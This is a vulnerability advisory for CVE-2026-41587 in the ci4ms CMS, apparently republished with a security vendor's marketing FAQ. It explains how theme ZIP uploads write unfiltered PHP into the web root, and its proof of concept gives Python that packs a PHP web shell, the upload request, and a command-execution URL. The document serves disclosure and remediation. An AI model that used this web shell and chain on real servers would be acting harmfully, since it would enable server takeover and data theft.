Summary
A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.
Details
File: modules/Theme/Controllers/Theme.php
After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52
File: modules/Theme/Helpers/themes_helper.php
The helper copies every file matching . from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68
Because the web root is public/, any .php file placed there is directly reachable over HTTP.
PHP files are also installed, without filtering, into app/Controllers/templates//, app/Libraries/templates//, and other app/ subdirectories: themes_helper.php:31-42
The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20
PoC
Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).
Step 1, Build the malicious ZIP:
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')
buf.seek(0)
with open('evil_theme.zip', 'wb') as f:
f.write(buf.read())
Step 2, Upload:
POST /backend/themes/upload
Content-Type: multipart/form-data
field name: theme
file: evil_theme.zip
Step 3, Execute:
GET https://target.com/templates/evil/shell.php?c=id
Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
Impact
Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.
Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.
The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-41587? CVE-2026-41587 is a high-severity unrestricted upload of dangerous file types vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions >= 0.26.0.0, <= 0.31.6.0. It is fixed in 0.31.7.0. The application accepts file uploads without adequately restricting the file type or content.
- Which versions of ci4-cms-erp/ci4ms are affected by CVE-2026-41587? ci4-cms-erp/ci4ms (composer) versions >= 0.26.0.0, <= 0.31.6.0 is affected.
- Is there a fix for CVE-2026-41587? Yes. CVE-2026-41587 is fixed in 0.31.7.0. Upgrade to this version or later.
- Is CVE-2026-41587 exploitable, and should I be worried? Whether CVE-2026-41587 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41587 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-41587? Upgrade
ci4-cms-erp/ci4msto 0.31.7.0 or later.